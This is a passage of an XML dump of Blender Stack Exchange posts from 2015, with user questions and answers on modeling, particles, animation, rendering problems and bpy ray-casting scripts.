  <row Id="24443" PostTypeId="2" ParentId="24440" CreationDate="2015-02-08T22:21:04.850" Score="1" Body="&lt;p&gt;It sounds like you may not have a real camera in the scene or a camera inside another object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see what your camera is go to the 3D view header &lt;em&gt;Select &gt; Select Camera&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the default camera is selected, then check where the camera is, or if some object is blocking its view.  &lt;/li&gt;&#xA;&lt;li&gt;If some object is selected after running &lt;em&gt;Select &gt; Select Camera&lt;/em&gt;, then that means you changed the active camera (at some point with that object selected you pressed &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;NumPad 0&lt;/kbd&gt;). To again make the real camera the active camera, select the camera, in 3D view and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;NumPad 0&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the above mentioned is not your problem then see &lt;a href=&quot;https://blender.stackexchange.com/a/14378/2217&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-02-08T22:21:04.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24444" PostTypeId="1" AcceptedAnswerId="24534" CreationDate="2015-02-08T22:43:17.940" Score="1" ViewCount="1336" Body="&lt;p&gt;Hair defaults to sticking straight out, and the dynamics moves it from there. I'd like to comb it to something more reasonable so the dynamics don't have to do as much work. The problem is that once I change something, the dynamics stop working entirely. How do I fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="11100" LastActivityDate="2015-02-10T10:41:56.500" Title="Hair dynamics stops working after particle edit" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24445" PostTypeId="1" CreationDate="2015-02-08T23:09:30.307" Score="3" ViewCount="708" Body="&lt;p&gt;After developing my first addon (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?361347-Add-On-Arrange-objects-along-a-curve&quot; rel=&quot;nofollow noreferrer&quot;&gt;Arrange objects along a curve&lt;/a&gt;), I was interested in continuing learning and developing scripts for Blender. The question now might be difficult, but I know it's possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get the coordinates of the knife tool on an edge in real time, in python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LQZso.png&quot; alt=&quot;illustrating the knife tool over an object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the Chebhou's tips I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras import view3d_utils&#xA;from bpy.props import FloatVectorProperty&#xA;&#xA;def main(context, event, ray_max=1000.0):&#xA;    # get the context arguments&#xA;    scene = context.scene&#xA;    region = context.region&#xA;    rv3d = context.region_data&#xA;    coord = event.mouse_region_x, event.mouse_region_y&#xA;&#xA;    # get the ray from the viewport and mouse&#xA;    view_vector = view3d_utils.region_2d_to_vector_3d(region, rv3d, coord)&#xA;    ray_origin = view3d_utils.region_2d_to_origin_3d(region, rv3d, coord)&#xA;&#xA;    if rv3d.view_perspective == 'ORTHO':&#xA;        # move ortho origin back&#xA;        ray_origin = ray_origin - (view_vector * (ray_max / 2.0))&#xA;&#xA;    ray_target = ray_origin + (view_vector * ray_max)&#xA;&#xA;    def obj_ray_cast(obj, matrix):&#xA;        &quot;&quot;&quot;Wrapper for ray casting that moves the ray into object space&quot;&quot;&quot;&#xA;&#xA;        # get the ray relative to the object&#xA;        matrix_inv = matrix.inverted()&#xA;        ray_origin_obj = matrix_inv * ray_origin&#xA;        ray_target_obj = matrix_inv * ray_target&#xA;&#xA;        # cast the ray&#xA;        hit, normal, face_index = obj.ray_cast(ray_origin_obj, ray_target_obj)&#xA;&#xA;        if face_index != -1:&#xA;            return hit, normal, face_index&#xA;        else:&#xA;            return None, None, None&#xA;&#xA;    # no need to loop through other objects since we are interested in the active object only&#xA;    obj = context.scene.objects.active&#xA;    matrix = obj.matrix_world.copy()&#xA;    if obj.type == 'MESH':&#xA;        hit, normal, face_index = obj_ray_cast(obj, matrix)&#xA;        if hit is not None:&#xA;            hit_world = matrix * hit&#xA;            return hit_world        &#xA;        else:&#xA;            hit_world = matrix&#xA;            return 0.0,0.0,0.0&#xA;    #return None&#xA;&#xA;class ViewManoOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;using mouse events&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.mano_operator&quot;&#xA;    bl_label = &quot;View Mano Operator&quot;&#xA;&#xA;    hit = FloatVectorProperty(name=&quot;hit&quot;, size=3)&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'MOUSEMOVE':            &#xA;            self.hit = main(context, event)&#xA;            context.area.header_text_set(&quot;hit: %.4f %.4f %.4f&quot; % tuple(self.hit))&#xA;            return {'RUNNING_MODAL'}&#xA;&#xA;        elif event.type in {'LEFTMOUSE', 'RIGHTMOUSE', 'ESC'}:&#xA;            context.area.header_text_set()&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'} &#xA;&#xA;    def invoke(self, context, event):        &#xA;        context.window_manager.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ViewManoOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ViewManoOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="2217" LastEditDate="2015-06-01T23:42:48.943" LastActivityDate="2015-06-01T23:42:48.943" Title="How to get the coordinates of the knife tool on an edge (in real time)?" Tags="&lt;python&gt;&lt;editing&gt;&lt;coordinates&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24446" PostTypeId="2" ParentId="24440" CreationDate="2015-02-08T23:29:32.033" Score="2" Body="&lt;p&gt;this is not a solution to the real problem but a work around for you to finish the work :&lt;/p&gt;&#xA;&lt;p&gt;create a new scene in the same blender file ,it will contain all the objects with their data &amp;quot;materials , animation&amp;quot; then render the animation as you did before&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJ3xM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;you have messed up some settings that i couldn't figure out!&lt;/p&gt;&#xA;&lt;p&gt;as you have said the render is not starting at all  &amp;quot;look at the time 00:00.00&amp;quot; hope someone can provide an answer with some explanation&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-08T23:29:32.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24447" PostTypeId="1" AcceptedAnswerId="24449" CreationDate="2015-02-09T00:01:17.340" Score="3" ViewCount="620" Body="&lt;p&gt;so I'm new-ish to Blender and currently practicing by just making some random 3D models of stuff. Today I made a model off of this switch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dD2Wl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only problem is the edge of the switch, its curved but how I have my model, I have it straight as shown here with the vertices selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4MlPu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to bow the edges so that it curves up but I've tried so many things to no success. Any easy way to edit the vertices to curve it up without moving them free-handedly?&lt;/p&gt;&#xA;" OwnerUserId="11490" LastEditorUserId="12" LastEditDate="2015-02-09T00:10:42.797" LastActivityDate="2015-02-09T01:11:02.913" Title="How do I curve a section of a model?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24448" PostTypeId="2" ParentId="24417" CreationDate="2015-02-09T00:04:51.760" Score="4" Body="&lt;p&gt;If you do not want to mess with the topology of the lower part of the building, you can build them separately, select both, and join them with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EyAnG.gif&quot; alt=&quot;Join Meshes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to select the top face and duplicated it with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ot4Rq.gif&quot; alt=&quot;Duplicate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will then be able to edit the different parts with complete flexibility, with no fear of ruining your work on the other parts of the building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LyAR1.gif&quot; alt=&quot;Edit&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-09T00:04:51.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24449" PostTypeId="2" ParentId="24447" CreationDate="2015-02-09T00:11:28.477" Score="6" Body="&lt;p&gt;This can be done by selecting the bottom two vertices, pressing &lt;kbd&gt;O&lt;/kbd&gt;, and moving them in the desired direction (be sure to put it on the &lt;em&gt;Sharp&lt;/em&gt; falloff type and make the radius large enough using &lt;kbd&gt;Scroll&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XQHfm.gif&quot; alt=&quot;Proportional Edit&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Although you can do this, I would recommend making the switch as if it was in between the two states, so it is symmetrical. You can then easily rotate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bdopy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by forming the switch profile. Add a circle with 12 vertices, and in edit mode select all and press &lt;kbd&gt;S&lt;/kbd&gt;-&lt;kbd&gt;Y&lt;/kbd&gt;-&lt;kbd&gt;2&lt;/kbd&gt;, then press &lt;kbd&gt;Enter&lt;/kbd&gt; to finish. Now select all except the bottom vertices and delete them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5XV9B.gif&quot; alt=&quot;Prepare curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can extrude downwards using &lt;kbd&gt;E&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;. When scale the new vertices to zero along the zed axis by pressing &lt;kbd&gt;S&lt;/kbd&gt;-&lt;kbd&gt;Z&lt;/kbd&gt;-&lt;kbd&gt;0&lt;/kbd&gt;. Now scale along the Y axis as desired (&lt;kbd&gt;S&lt;/kbd&gt;-&lt;kbd&gt;Y&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXwjY.gif&quot; alt=&quot;Form outline&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now extrude the outline to the desired width using &lt;kbd&gt;E&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wAv9h.jpg&quot; alt=&quot;Switch&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can delete half of the vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mS8sI.gif&quot; alt=&quot;Delete verts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And add a &lt;em&gt;Mirror Modifier&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eXB1B.jpg&quot; alt=&quot;Mirror modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you select the right &lt;em&gt;Axis&lt;/em&gt;, either &lt;code&gt;X&lt;/code&gt;, &lt;code&gt;Y&lt;/code&gt; or &lt;code&gt;Z&lt;/code&gt;. In this case it is &lt;code&gt;Y&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now any changes you make to the one half are exactly mirrored to the other half. Also, this piece can be rotated easily to animate the switch if ever necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things you might want to consider:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bevel modifier/Sub-Division modifier&lt;/li&gt;&#xA;&lt;li&gt;Re-calculate Normals (Edit mode &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should get you a good base mesh to work with, from which you can add specific details.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-09T01:11:02.913" LastActivityDate="2015-02-09T01:11:02.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24450" PostTypeId="1" CreationDate="2015-02-09T01:21:26.420" Score="0" ViewCount="141" Body="&lt;p&gt;Please Help&#xA;Why when I render my 200 frame animation everything is the world color and not the animation?  I have fully created the models and environment and when I run the animation in the UI under material it works fine,  when I try to animate the animation is just gives me grey frames.&#xA;I cannot figure out why it wont render the actual animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/A5J8y4uCtsU&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/A5J8y4uCtsU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11491" LastActivityDate="2015-03-11T02:42:02.000" Title="Why when I render my 200 frame animation everything is the world color and not the animation?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24451" PostTypeId="2" ParentId="24445" CreationDate="2015-02-09T02:09:09.850" Score="3" Body="&lt;p&gt;instead of getting the coordinates of the knife tool you can get the mouse coordinates in the 3d space &quot; &lt;del&gt;since they are the same position&lt;/del&gt; &quot; as &lt;em&gt;CoDEmanX&lt;/em&gt; stated : they are not the same position. Knife tool snaps to edges and vertices and is thus not always at mouse location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all the steps needed for this are in the template script  &quot;operator_modal_view3d_raycast.py&quot; in blender , what it does is : cast a ray from the view and find the nearest intersection point with the visible objects , the position of the mouse in the 3d view is the &lt;strong&gt;Hit&lt;/strong&gt; output from the &lt;strong&gt;obj_ray_cast()&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the bare code after some elimination of unnecessary lines :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras import view3d_utils&#xA;&#xA;def main(context, event, ray_max=1000.0):&#xA;&#xA;    # get the context arguments&#xA;    scene = context.scene&#xA;    region = context.region&#xA;    rv3d = context.region_data&#xA;    coord = event.mouse_region_x, event.mouse_region_y&#xA;&#xA;    # get the ray from the viewport and mouse&#xA;    view_vector = view3d_utils.region_2d_to_vector_3d(region, rv3d, coord)&#xA;    ray_origin = view3d_utils.region_2d_to_origin_3d(region, rv3d, coord)&#xA;&#xA;    if rv3d.view_perspective == 'ORTHO':&#xA;        # move ortho origin back&#xA;        ray_origin = ray_origin - (view_vector * (ray_max / 2.0))&#xA;&#xA;    ray_target = ray_origin + (view_vector * ray_max)&#xA;&#xA;    def obj_ray_cast(obj, matrix):&#xA;        &quot;&quot;&quot;Wrapper for ray casting that moves the ray into object space&quot;&quot;&quot;&#xA;&#xA;        # get the ray relative to the object&#xA;        matrix_inv = matrix.inverted()&#xA;        ray_origin_obj = matrix_inv * ray_origin&#xA;        ray_target_obj = matrix_inv * ray_target&#xA;&#xA;        # cast the ray&#xA;        hit, normal, face_index = obj.ray_cast(ray_origin_obj, ray_target_obj)&#xA;&#xA;        if face_index != -1:&#xA;            return hit, normal, face_index&#xA;        else:&#xA;            return None, None, None&#xA;&#xA;    # no need to loop through other objects since we are interested in the active object only&#xA;    obj = context.scene.objects.active&#xA;    matrix = obj.matrix_world.copy()&#xA;    if obj.type == 'MESH':&#xA;        hit, normal, face_index = obj_ray_cast(obj, matrix)&#xA;        if hit is not None:&#xA;            hit_world = matrix * hit&#xA;            return hit_world&#xA;&#xA;    return None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-09T11:02:25.973" LastActivityDate="2015-02-09T11:02:25.973" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24452" PostTypeId="2" ParentId="24450" CreationDate="2015-02-09T02:30:43.010" Score="1" Body="&lt;p&gt;be sure that all  layers that contains your objects are selected in the &lt;strong&gt;render_layer&lt;/strong&gt; tab&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n6iMK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-09T02:30:43.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24453" PostTypeId="2" ParentId="24440" CreationDate="2015-02-09T02:39:42.643" Score="4" Body="&lt;p&gt;You have an image in video sequence editor. remove it or disable sequencer in post processing (render tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTOxW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-09T02:39:42.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24454" PostTypeId="1" AcceptedAnswerId="24456" CreationDate="2015-02-09T02:40:38.850" Score="7" ViewCount="3289" Body="&lt;p&gt;When I create a particle system using &lt;em&gt;object&lt;/em&gt; or &lt;em&gt;group&lt;/em&gt; rendering I often want to make the particles' sizes slightly randomized.  I accomplish this by changing the &lt;em&gt;random size&lt;/em&gt; spinner under &lt;em&gt;physics&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQ7Ae.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DhxAj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, to save memory and add more particles, I usually use &lt;em&gt;interpolated&lt;/em&gt; children particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JAip4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But using children particles seems to ignore the random size spinner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YOEMU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particles are now all the same size.  The value of the aforementioned &lt;em&gt;random size&lt;/em&gt; no longer has any impact whatsoever on the look of the particles; and nothing I could find under the children settings has a similar effect to it.  All the random values on the &lt;em&gt;children&lt;/em&gt; rollout just seem to change the location and/or rotation in some way or another, not the size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So how can I change the random size of the children particles?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;In response to &lt;a href=&quot;https://blender.stackexchange.com/questions/24454/is-there-a-way-to-introduce-a-random-size-for-children-particles?noredirect=1#comment36015_24454&quot;&gt;Bithur's comment&lt;/a&gt;, this is what I get when I adjust the &lt;em&gt;length&lt;/em&gt; and &lt;em&gt;threshold&lt;/em&gt; settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9U8v3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, half of the particles are the normal height and half are scaled down a specific amount.  It's slightly better, but by no means a random scale.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-02-09T03:22:30.323" Title="Is there a way to introduce a random size for children particles?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24455" PostTypeId="1" AcceptedAnswerId="24457" CreationDate="2015-02-09T02:57:25.053" Score="11" ViewCount="10772" Body="&lt;p&gt;Is it possible to use an element, in this case a ship, in a blender scene and progress through animation and then easily replace that ship with a different one? A replace command?&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="5705" LastEditDate="2015-02-09T03:30:56.957" LastActivityDate="2017-10-28T23:40:26.270" Title="Can I replace an object with another object and keep animation?" Tags="&lt;animation&gt;&lt;objects&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24456" PostTypeId="2" ParentId="24454" CreationDate="2015-02-09T03:22:30.323" Score="9" Body="&lt;p&gt;I have found what appears to be a solution, however it might be a bug/unexpected (or unsupported) behavior. What you do is you pretend you are going to use the &lt;em&gt;Simple&lt;/em&gt; mode, set the random size, and then switch back to &lt;em&gt;Interpolated&lt;/em&gt; mode. Some reason the random size data is &quot;remembered&quot; and now the particles are random sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PzdiV.gif&quot; alt=&quot;Random Sizes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to render correctly, and changing other particle settings doesn't appear to affect it at all.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-09T03:22:30.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24457" PostTypeId="2" ParentId="24455" CreationDate="2015-02-09T03:23:42.150" Score="10" Body="&lt;p&gt;The best way to replace a &quot;replace&quot; button. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a proxy object that will be animated. Create as many ships as needed. naming them as object and mesh can be useful.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j30Bz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change the mesh of the proxy object with another ship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E1CTv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zzLEY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6DZuz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same animated object can be any ship you like with the same animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting object is a linked duplicated, same as &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;. They share the same mesh. If you need an independant duplicate (same as &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;), press the button beside F (normally 2, counting objects sharing the same mesh) to make it a new object independent of the original. Use F button to give the mesh a fake user before changing it if you want it to be saved in the .blend even if no object use it (else it will disapear when you reload your .blend file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ej2p6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-09T10:36:04.000" LastActivityDate="2015-02-09T10:36:04.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24458" PostTypeId="2" ParentId="24455" CreationDate="2015-02-09T03:24:45.963" Score="5" Body="&lt;p&gt;You can copy and paste keyframes in the &lt;em&gt;dope sheet&lt;/em&gt; using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;/&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BfQa8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can animate one object, and then copy and paste the keyframes from that to any other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note (as &lt;a href=&quot;https://blender.stackexchange.com/questions/24455/can-i-replace-an-object-with-another-object-and-keep-animation/24458?noredirect=1#comment36050_24458&quot;&gt;Greg Zaal mentioned&lt;/a&gt; in the comments) that only objects with some kind of animation will show up in the dope sheet.  A sort of mickey-mousey way to fix this would be to add a temporary keyframe to the object so that it will show up in the dope sheet, paste the new keyframes in from the other object, and delete the temp keyframe.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-02-09T15:30:24.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24459" PostTypeId="1" AcceptedAnswerId="24899" CreationDate="2015-02-09T03:29:30.603" Score="3" ViewCount="246" Body="&lt;p&gt;I want to set &quot;preview U resolution&quot; of all the selected curves to 48. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I select all the curves and shift select one curve change its&#xA;&quot;preview U resolution&quot; to 48. &lt;/li&gt;&#xA;&lt;li&gt;Set &quot;preview U resolution&quot; to 48. &lt;img src=&quot;https://i.stack.imgur.com/WiNKP.png&quot; alt=&quot;&amp;quot;preview U resolution&amp;quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then right-click to &quot;Copy to selected&quot; &lt;img src=&quot;https://i.stack.imgur.com/GjhGa.png&quot; alt=&quot;&amp;quot;Copy to selected&amp;quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Copy selected is grayed out! Why ? does it not work on curve objects? or Nurbs ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: it works fine on mesh objects&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-02-17T07:16:41.110" Title="&quot;Copy to selected&quot; dose not work with curves ? or Nurbs?" Tags="&lt;properties&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24460" PostTypeId="1" AcceptedAnswerId="24511" CreationDate="2015-02-09T03:49:56.577" Score="1" ViewCount="2699" Body="&lt;p&gt;I'm trying to drive a shape key by baking an audio file to an F-curve. However, although the audio is normalized to -.1 dB, the peaks of the baked curve are far too low, and never even get close to 1. I need to highest peak to give the shape key a value of exactly 1, and the lowest to give the shape key a value of exactly 0, so I need to scale the F-curve and possibly also move it up or down a bit. To do this, I need to find the maximum and minimum values of the baked F-curve. How can I achieve this?&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-02-09T23:17:23.763" LastActivityDate="2017-07-21T22:39:52.287" Title="Rescaling a baked F-curve to values between 0 and 1" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24461" PostTypeId="1" AcceptedAnswerId="24468" CreationDate="2015-02-09T03:50:03.997" Score="5" ViewCount="888" Body="&lt;p&gt;How do I copy from one object to other selected object only the &quot;diffuse colour&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or any other material property to other multiple selected objects materials?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why &quot;Copy To selected&quot; is greyed out in right click menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy diffuse colour from &lt;strong&gt;B&lt;/strong&gt; to all objects in the column &lt;strong&gt;A&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F2q58.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note 1: i know to the manual or long process of hovering over th colour and copying it &quot;Ctr+C&quot;. And then select target object go to material and hover on colour and paste &quot;Ctrl+V&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note 2: I don't intend to copy complete or all material properties&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2018-03-09T12:26:20.127" Title="&quot;Copy To selected&quot; How do i copy only the material diffuse colour?" Tags="&lt;properties&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
